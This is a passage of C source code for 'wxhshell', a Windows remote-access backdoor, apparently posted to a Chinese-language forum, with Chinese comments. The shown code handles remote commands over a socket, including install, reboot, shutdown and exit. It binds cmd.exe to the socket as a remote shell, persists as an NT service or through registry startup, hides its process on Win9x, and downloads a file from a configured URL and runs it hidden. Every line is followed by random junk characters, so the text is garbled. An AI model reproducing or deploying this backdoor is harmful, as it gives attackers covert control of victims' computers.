  $J"}7+  
  // 帮助 ZfM(%rx  
  case '?': { dy N`9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jCqs^`-  
    break; vT"T*FKh:  
  } 9Xo'U;J  
  // 安装 KGd L1~  
  case 'i': { ,pE{N&p9  
    if(Install()) zm4Okg)w@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rd|};-  
    else vS%o>"P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D@*<p h=  
    break; |K| c  
    } F?&n5R.  
  // 卸载 o#gb+[  
  case 'r': { / >c F  
    if(Uninstall()) eE5U|y)_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \&ra&3o  
    else +168!Jw;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S {gB~W  
    break; bDVz+*bU}  
    } \E1[ /  
  // 显示 wxhshell 所在路径 +pp|Qgr 3  
  case 'p': { +F$c_ \>  
    char svExeFile[MAX_PATH]; ^55#!/9  
    strcpy(svExeFile,"\n\r"); )w_0lm'v{r  
      strcat(svExeFile,ExeFile); W- 5Z"m1I  
        send(wsh,svExeFile,strlen(svExeFile),0); ,<s'/8Ik  
    break; N-EVH e'}6  
    } F B-?{78~  
  // 重启 p&~8N#I#  
  case 'b': { rdZk2\<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *m6~x-x  
    if(Boot(REBOOT)) 4%>iIPXi.(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >utm\!Gac  
    else { NwbB\Wl  
    closesocket(wsh); rKg~H=4x2  
    ExitThread(0); 'z7,)Q&8  
    } }@%A@A{R  
    break; 8$9<z  
    } \g& P5  
  // 关机 ={P  
  case 'd': { 6qg_&woJ3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >KXSb@  
    if(Boot(SHUTDOWN)) hAq7v']m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  %~Vgz(/  
    else { :MPWf4K2s  
    closesocket(wsh); +Qy0K5Ee  
    ExitThread(0); YLs%u=e($  
    } >__t 2  
    break; 2k}~"!e1  
    } @9S3u#vP  
  // 获取shell 'jh9n7mH  
  case 's': { r5y p jT^  
    CmdShell(wsh); vt)u`/u  
    closesocket(wsh); B^Y AKbY  
    ExitThread(0); iV<4#aBg  
    break; k\(LBZ"vR  
  } i i&kfy  
  // 退出 ~nO]R   
  case 'x': { W$&{jr-p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :f<:>"<  
    CloseIt(wsh); }i,LP1R  
    break; u.W}{-+kp  
    } esE5#Yq4.k  
  // 离开 j$v2_q  
  case 'q': { n?uVq6c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s*% pNE U  
    closesocket(wsh); w}2;f=  
    WSACleanup(); Qb "\j  
    exit(1); S ?v^/F  
    break; qz]b8rX  
        } ?[<C,w~$`  
  } 2e~ud9,  
  } :)7{$OR&  
\X&LrneR"t  
  // 提示信息 /;P* ?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x@^Kd*fo  
} $'m&RzZ  
  } r(qAe{  
!l2=J/LJj  
  return; m]}%Ag^x  
} ::'DWD1  
F"2rX&W  
// shell模块句柄 gN"Abc  
int CmdShell(SOCKET sock) #Z%?lx"Q0  
{ 9hoTxWpmy  
STARTUPINFO si; s Yp?V\Y"  
ZeroMemory(&si,sizeof(si)); 1E3'H7k\t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -TL `nGF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sT&O%(  
PROCESS_INFORMATION ProcessInfo; fg[]>:ZT.  
char cmdline[]="cmd"; gZ{q85C.>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X0G Mly  
  return 0; s+mNr3  
} e[5= ?p@|  
ds> V|}f[  
// 自身启动模式 (WoKrd.!  
int StartFromService(void) :i{$p00 G  
{ ykq9]Xqhv  
typedef struct z x e6M~+  
{ e G8Zn<:s  
  DWORD ExitStatus; l;u_4`1H  
  DWORD PebBaseAddress; UXU!sd  
  DWORD AffinityMask; ?U}Ml]0~  
  DWORD BasePriority; xRTr<j0s  
  ULONG UniqueProcessId; c5KJ_Nfi  
  ULONG InheritedFromUniqueProcessId; j?eWh#[K"  
}   PROCESS_BASIC_INFORMATION; oh>X/uj  
kqyV UfX$3  
PROCNTQSIP NtQueryInformationProcess; .tFMa:   
>9?BJv2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P:`tL)W_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HTpoYxn(  
RU r0K#]  
  HANDLE             hProcess; >pS @;t'  
  PROCESS_BASIC_INFORMATION pbi; *F ya qJ)  
Y(:.f-Du  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @|7Ma/8v  
  if(NULL == hInst ) return 0; /CXrxeo  
}Y{aVn&C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZD)pdNX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .1O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @(;zU~l/  
p-KMELB  
  if (!NtQueryInformationProcess) return 0; ;p$KM-?2D  
;,z[|"y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E`^?2dv+/  
  if(!hProcess) return 0; Ax'jNol  
b[mAkm?9+1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8Gw0;Uu8D  
\|OW`7Q)k  
  CloseHandle(hProcess); <%@S-+D`]  
G:n,u$2a<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aa:97w~s0  
if(hProcess==NULL) return 0; 9/La _ :K  
> x$eKN  
HMODULE hMod; 2E@ !  
char procName[255]; ;OE=;\  
unsigned long cbNeeded; 4{[cXM8*j  
t1y hU"(J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M-  f)\`I  
im}=  
  CloseHandle(hProcess); Wq4>!|  
(k@%04c  
if(strstr(procName,"services")) return 1; // 以服务启动 ujo3"j[b  
s@WF[S7D  
  return 0; // 注册表启动 sz5&P )X  
} g?(h{r`  
`ViFY   
// 主模块 ~6:<OdQ  
int StartWxhshell(LPSTR lpCmdLine) (A6 -9g>  
{ [sM~B  
  SOCKET wsl; |"7^9(  
BOOL val=TRUE; > xc7Hr~  
  int port=0; ac/=%om8u  
  struct sockaddr_in door; b~M3j&  
U[!x 0M  
  if(wscfg.ws_autoins) Install(); oZ)\Ya=  
4 Ar\`{c>  
port=atoi(lpCmdLine); ,]OL[m  
L5E|1T  
if(port<=0) port=wscfg.ws_port; }'?N+MN  
gtcU'4~  
  WSADATA data; -^y$RJC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FfDe&/,/  
t+R8{9L-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2>E.Q@c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _x.!, g{  
  door.sin_family = AF_INET; l9U^[;D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8P wobln  
  door.sin_port = htons(port); ^Fy{Q*p`(  
g$qNK`y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (6xrs_ea  
closesocket(wsl); PMDx5-{A/t  
return 1; 4t(V)1+  
} l8"  
MX=mGfoa  
  if(listen(wsl,2) == INVALID_SOCKET) { r ek89.p  
closesocket(wsl); B( ]=I@L=W  
return 1; B2QC#R  
} 63ig!-9F  
  Wxhshell(wsl); '.n0[2>  
  WSACleanup(); P= e3f(M2  
DEGEr-  
return 0; :hre|$@{a  
HG(J+ocn   
} ail%#E8  
g~5$X{  
// 以NT服务方式启动 +doZnU,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &zl=}xeA  
{ L-7?:  
DWORD   status = 0; k79" xyXX  
  DWORD   specificError = 0xfffffff; '\I.P  
[m>kOv6>^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :G&tM   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [L.+N@M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z J:h]  
  serviceStatus.dwWin32ExitCode     = 0; b)+;#m  
  serviceStatus.dwServiceSpecificExitCode = 0; JLS|G?#0  
  serviceStatus.dwCheckPoint       = 0; (Rqn)<<2  
  serviceStatus.dwWaitHint       = 0; M.|@|If4?  
+tbG^w %  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !J3dlUFRO  
  if (hServiceStatusHandle==0) return; ?a ~59!u  
3h:"-{MW.  
status = GetLastError(); LKCj@NdV  
  if (status!=NO_ERROR) c/fU0cA@  
{ Lh0qB)>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9oOr-9t3  
    serviceStatus.dwCheckPoint       = 0; jB+K)NXHL  
    serviceStatus.dwWaitHint       = 0; f(Vr&X  
    serviceStatus.dwWin32ExitCode     = status; ![=C`O6K  
    serviceStatus.dwServiceSpecificExitCode = specificError; 89*txYmx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,>6s~'  
    return; 0 K T.@P  
  } D%L}vugxK  
.h!oo;@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (*{Y#XD{  
  serviceStatus.dwCheckPoint       = 0; #r\,oXTm  
  serviceStatus.dwWaitHint       = 0; [,A*nU$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "bI'XaSv  
} B@P +b*%  
|"4+~z%/9!  
// 处理NT服务事件,比如:启动、停止 LxWnPi ^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ya[][!.G  
{ PQ6.1}  
switch(fdwControl) u9-:/<R#}y  
{ q J)[2:.G  
case SERVICE_CONTROL_STOP: (/x%zmY;/U  
  serviceStatus.dwWin32ExitCode = 0; `zQ2 i}Uju  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6Fp}U  
  serviceStatus.dwCheckPoint   = 0; ZCdlTdY   
  serviceStatus.dwWaitHint     = 0; L9,;zkgo  
  { r_m*$r~f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *G'R+_tdE  
  } T8nOb9Nrj  
  return; dMo456L  
case SERVICE_CONTROL_PAUSE: *V@>E2@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _!vxX ]  
  break; s L;  
case SERVICE_CONTROL_CONTINUE: rA<>k/a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H0!W:cIS;l  
  break; t0^chlJP$  
case SERVICE_CONTROL_INTERROGATE: b FV+|0  
  break; PVK. %y9  
}; ]+C;C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0A]+9@W;  
} BKd03s=  
{KH!PAh  
// 标准应用程序主函数 28/At  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hUL5V1-j  
{ ssf.ef$  
<a=,{O  
// 获取操作系统版本 uT")j,tz  
OsIsNt=GetOsVer(); W3AtO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w.AF7.X`1  
%Z:07|57I[  
  // 从命令行安装 OrN~ Y#D  
  if(strpbrk(lpCmdLine,"iI")) Install(); R 4= ~  
Xs,[Z2_iq  
  // 下载执行文件 3Ryae/Nk  
if(wscfg.ws_downexe) { 8eAc 5by  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lWiC$  
  WinExec(wscfg.ws_filenam,SW_HIDE); l_?r#Qc7  
} U};~ff+  
28u3B2\$  
if(!OsIsNt) { @<n8?"{5S  
// 如果时win9x,隐藏进程并且设置为注册表启动 at N%csA0  
HideProc(); h'QEwW  
StartWxhshell(lpCmdLine); L%h Vts'  
} be@\5  
else ZxvqLu  
  if(StartFromService()) }DCR(p rD  
  // 以服务方式启动 PO$ OXw  
  StartServiceCtrlDispatcher(DispatchTable); <@+>A$~0  
else 0=WZ 8|R  
  // 普通方式启动 {[ E7Cf  
  StartWxhshell(lpCmdLine); :J 7p=sX  
].A>ORS/  
return 0; 7 3 Oo;  
}
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只看该作者 1 发表于: 2006-10-10
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